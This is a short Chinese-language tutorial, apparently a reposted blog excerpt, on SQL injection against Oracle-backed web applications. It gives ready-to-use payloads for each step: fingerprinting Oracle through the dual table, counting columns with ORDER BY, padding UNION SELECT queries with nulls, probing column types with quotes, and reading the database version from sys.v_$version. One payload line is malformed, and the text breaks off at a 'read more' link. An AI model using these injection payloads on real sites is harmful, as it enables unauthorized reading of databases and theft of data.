oracle 注射
作者:不详
来源:不详
判断是否为Oralce数据库:
And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库
猜解字段数量:
使用order by 或者group by逐个提交数字 知道回显错误页面
列出字段数目 比如6个字段数目
and 1=1 null,null,null,null,null,null from dual-
因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.
检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–
读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
阅读全文…